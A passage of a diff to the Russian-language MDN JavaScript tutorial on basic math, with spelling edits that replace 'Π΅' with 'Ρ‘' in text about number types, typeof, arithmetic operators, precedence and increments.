ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ Π±Π΅Π· Π½Π΅Ρ‘. Π­Ρ‚ΠΎ особСнно Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ учимся ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° JavaScript (ΠΈΠ»ΠΈ Π½Π° Π»ΡŽΠ±ΠΎΠΌΒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΒ ΡΠ·Ρ‹ΠΊΠ΅, Ссли Π½Π° Ρ‚ΠΎ пошло) β€” большая Ρ‡Π°ΡΡ‚ΡŒ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ, опираСтся Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ числовых Π΄Π°Π½Π½Ρ‹Ρ…, вычислСниС Π½ΠΎΠ²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ Ρ‚.Π΄.Β Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ,Β Ρ‡Ρ‚ΠΎ JavaScript ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ матСматичСских Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ основныС Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ сСйчас.</p>
@@ -58,7 +58,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Math
<li><strong>ШСстнадцатСричная</strong> β€” 16-Ρ‚ΠΈ разрядная, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β 0–9 ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ a–f Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ столбцС. Π’Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ встрСчали эти числа, ΠΊΠΎΠ³Π΄Π° Π·Π°Π΄Π°Π²Π°Π»ΠΈΒ <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Hexadecimal_values">Ρ†Π²Π΅Ρ‚ Π²Β CSS</a>.</li>
</ul>
-<p><strong>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ взорвСтся ваш ΠΌΠΎΠ·Π³, ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚Π΅ΡΡŒ прямо здСсь ΠΈ сСйчас!</strong>Β </p>
+<p><strong>ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ взорвётся ваш ΠΌΠΎΠ·Π³, ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚Π΅ΡΡŒ прямо здСсь ΠΈ сСйчас!</strong>Β </p>
<p>Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΌΡ‹ просто Π±ΡƒΠ΄Π΅ΠΌ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ дСсятичных чисСл Π½Π° протяТСнии всСго курса; Π²Ρ‹ Ρ€Π΅Π΄ΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡΒ Ρ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒΡŽ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… числовых систСмах, Ссли Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΊΠΎΠ³Π΄Π°-Π»ΠΈΠ±ΠΎ с Π½Π΅ΠΉ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ.</p>
@@ -75,8 +75,8 @@ var myFloat = 6.667;
myInt;
myFloat;</pre>
</li>
- <li>ЧисловыС значСния Π½Π°Π±ΠΈΡ€Π°ΡŽΡ‚ΡΡΒ Π±Π΅Π· ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΏΠ°Ρ€Ρƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, содСрТащих числа, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС.</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ убСдимся, Ρ‡Ρ‚ΠΎ обС пСрСмСнныС содСрТат ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…. Для этого Π΅ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β {{jsxref("Operators/typeof", "typeof")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… содСрТит Π² сСбС пСрСмСнная. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Π΄Π²Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ строки:
+ <li>ЧисловыС значСния Π½Π°Π±ΠΈΡ€Π°ΡŽΡ‚ΡΡΒ Π±Π΅Π· ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΏΠ°Ρ€Ρƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, содСрТащих числа, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС.</li>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ убСдимся, Ρ‡Ρ‚ΠΎ обС пСрСмСнныС содСрТат ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…. Для этого Π΅ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β {{jsxref("Operators/typeof", "typeof")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… содСрТит Π² сСбС пСрСмСнная. Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Π΄Π²Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ строки:
<pre class="brush: js">typeof myInt;
typeof myFloat;</pre>
Π’ ΠΎΠ±ΠΎΠΈΡ… случаях Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΒ <code>"number"</code>Β β€” это всС ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚, Ρ‡Π΅ΠΌ Ссли Π±Ρ‹ Ρ€Π°Π·Π½Ρ‹Π΅ числа имСли Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ Π½Π°ΠΌ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π΅Π»ΠΎ с Π½ΠΈΠΌΠΈ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ.</li>
@@ -143,7 +143,7 @@ typeof myFloat;</pre>
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π˜Π½ΠΎΠ³Π΄Π°Β Ρ‡ΠΈΡΠ»Π°Β ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Π² матСматичСских опСрациях Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π°ΠΌΠΈΒ ( {{Glossary("Operand", "operands")}} ).</p>
</div>
-<p dir="ltr" id="tw-target-text">Нам, вСроятно, Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚ΡŒ вас Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ матСматичСским опСрациям, Π½ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ вашС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ синтаксиса.Β ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π² свою консоль (<a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>),Β ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ консоль, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с синтаксисом.</p>
+<p dir="ltr" id="tw-target-text">Нам, вСроятно, Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚ΡŒ вас Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ матСматичСским опСрациям, Π½ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ вашС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ синтаксиса.Β ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π² свою консоль (<a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>),Β ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ консоль, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с синтаксисом.</p>
<ol>
<li>Для Π½Π°Ρ‡Π°Π»Π° ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти простыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ:
@@ -164,7 +164,7 @@ num2 + num1 / 8 + 2;</pre>
</li>
</ol>
-<p>НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ Π½Π΅ Ρ‚ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π»ΠΈ; ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ Ρ€Π°Π·Π΄Π΅Π» ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° вопрос ΠΎ Ρ‚ΠΎΠΌ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ.</p>
+<p>НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ Π½Π΅ Ρ‚ΠΎΡ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎΒ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π»ΠΈ; ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ Ρ€Π°Π·Π΄Π΅Π» ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° вопрос ΠΎ Ρ‚ΠΎΠΌ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ.</p>
<h3 id="ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²">ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</h3>
@@ -176,7 +176,7 @@ num2 + num1 / 8 + 2;</pre>
<p>Но Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²ΠΈΠ΄ΠΈΡ‚ это ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ: <em>"10 Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° 8 Ρ€Π°Π²Π½ΠΎ 1.25",Β </em>Π·Π°Ρ‚Π΅ΠΌ <em>"50 плюс 1.25 плюс 2 Ρ€Π°Π²Π½ΠΎ 53.25".</em></p>
-<p>Π­Ρ‚ΠΎ происходит ΠΈΠ·-Π·Π° <strong>ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</strong> - Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π² процСсс вычислСния суммы (Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π΅Π΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ). ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Π² JavaScript Π½ΠΈΡ‡Π΅ΠΌ Π½Π΅ отличаСтся ΠΎΡ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° арифмСтичСских ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ Π² школС - ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π΄Π΅Π»Π΅Π½ΠΈΠ΅ всСгда Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ, Π·Π°Ρ‚Π΅ΠΌ слоТСниС ΠΈ Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π½ΠΈΠ΅ (сумма всСгда вычисляСтся слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ).</p>
+<p>Π­Ρ‚ΠΎ происходит ΠΈΠ·-Π·Π° <strong>ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</strong> - Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π² процСсс вычислСния суммы (Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π΅Ρ‘ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ). ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Π² JavaScript Π½ΠΈΡ‡Π΅ΠΌ Π½Π΅ отличаСтся ΠΎΡ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π° арифмСтичСских ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ Π² школС - ΡƒΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π΄Π΅Π»Π΅Π½ΠΈΠ΅ всСгда Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ, Π·Π°Ρ‚Π΅ΠΌ слоТСниС ΠΈ Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π½ΠΈΠ΅ (сумма всСгда вычисляСтся слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ).</p>
<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ порядок выполнСния ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΊΡ€ΡƒΠΆΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π½Ρ‹ΠΌΠΈ скобками Ρ‡Π°ΡΡ‚ΡŒ выраТСния, которая Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ. Для получСния Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° 6 Π²Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΠ΅Ρ‚Β ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
@@ -195,10 +195,10 @@ num2 + num1 / 8 + 2;</pre>
<pre class="brush: js">guessCount++;</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ ΠΈ Π΄Π΅ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π²Β <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Ρ†ΠΈΠΊΠ»Π°Ρ…</a>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΏΠΎΠ·ΠΆΠ΅. НапримСр, Ссли Π²Ρ‹Β Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ ΠΏΠΎ списку Ρ†Π΅Π½ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π½Π°Π»ΠΎΠ³ с ΠΏΡ€ΠΎΠ΄Π°ΠΆ, Π²Π°ΠΌ придСтся Π² Ρ†ΠΈΠΊΠ»Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ†Π΅Π½Ρƒ ΠΈ провСсти Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ вычислСния для ΡƒΡ‡Π΅Ρ‚Π° Π½Π°Π»ΠΎΠ³Π°. Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ использован для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π½Π° Π½ΠΎΠ²ΡƒΡŽ ячСйку списка ΠΏΡ€ΠΈ нСобходимости. Π£ нас Π΅ΡΡ‚ΡŒ нСслоТный ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ списка - ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈ взглянитС Π½Π° ΠΊΠΎΠ΄ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, смоТСтС Π»ΠΈ Π²Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Ρ‹! ΠœΡ‹ взглянСм Π½Π° Ρ†ΠΈΠΊΠ»Ρ‹ ΠΏΠΎΠ±Π»ΠΈΠΆΠ΅ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ курса.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ ΠΈ Π΄Π΅ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π²Β <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Ρ†ΠΈΠΊΠ»Π°Ρ…</a>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΏΠΎΠ·ΠΆΠ΅. НапримСр, Ссли Π²Ρ‹Β Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ ΠΏΠΎ списку Ρ†Π΅Π½ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π½Π°Π»ΠΎΠ³ с ΠΏΡ€ΠΎΠ΄Π°ΠΆ, Π²Π°ΠΌ придётся Π² Ρ†ΠΈΠΊΠ»Π΅ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Ρ†Π΅Π½Ρƒ ΠΈ провСсти Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ вычислСния для ΡƒΡ‡Ρ‘Ρ‚Π° Π½Π°Π»ΠΎΠ³Π°. Π˜Π½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ использован для ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π½Π° Π½ΠΎΠ²ΡƒΡŽ ячСйку списка ΠΏΡ€ΠΈ нСобходимости. Π£ нас Π΅ΡΡ‚ΡŒ нСслоТный ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ списка - ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈ взглянитС Π½Π° ΠΊΠΎΠ΄ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, смоТСтС Π»ΠΈ Π²Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Ρ‹! ΠœΡ‹ взглянСм Π½Π° Ρ†ΠΈΠΊΠ»Ρ‹ ΠΏΠΎΠ±Π»ΠΈΠΆΠ΅ ΠΏΠΎΠ·ΠΆΠ΅ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ курса.</p>
</div>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒ с этим Π² вашСй консоли. Для Π½Π°Ρ‡Π°Π»Π° Π·Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚/Π΄Π΅ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ нСпосрСдствСнно ΠΊ числу, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ странным. Π”Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ ΠΌΡ‹ присваиваСм ΠΊ 